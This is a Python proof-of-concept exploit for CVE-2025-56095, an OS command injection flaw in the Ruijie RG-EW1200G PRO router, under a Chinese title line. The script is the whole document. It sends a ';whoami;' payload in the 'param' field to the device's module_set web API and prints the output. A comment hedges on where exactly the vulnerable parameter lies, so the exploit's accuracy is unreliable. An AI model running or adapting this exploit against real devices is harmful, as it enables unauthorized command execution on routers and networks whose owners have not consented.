CVE-2025-56095 锐捷RG-EW1200G PRO路由器OS命令注入漏洞

import requests import sys # CVE-2025-56095 PoC - Ruijie RG-EW1200G PRO Command Injection # Target: Ruijie RG-EW1200G PRO (V1.00/V2.00/V3.00/V4.00) # Vulnerability: OS Command Injection in module_set endpoint def exploit_cve_2025_56095(target_ip, target_port=80): """ Exploit for CVE-2025-56095: OS Command Injection in Ruijie RG-EW1200G PRO Args: target_ip: Target device IP address target_port: Target device web interface port (default: 80) Returns: bool: True if exploitation successful, False otherwise """ url = f"http://{target_ip}:{target_port}/cgi-bin/luci/api/nbr_cwmp/module_set" # Payload to execute arbitrary command (whoami) # The actual vulnerability is in the module_set parameter handling payload = ";whoami;" headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } data = { 'module': 'cwmp', 'action': 'set', 'param': payload # Command injection point } try: print(f"[*] Targeting {target_ip}:{target_port}") print(f"[*] Sending malicious request to {url}") print(f"[*] Payload: {payload}") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Body:\n{response.text}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_56095(target, port)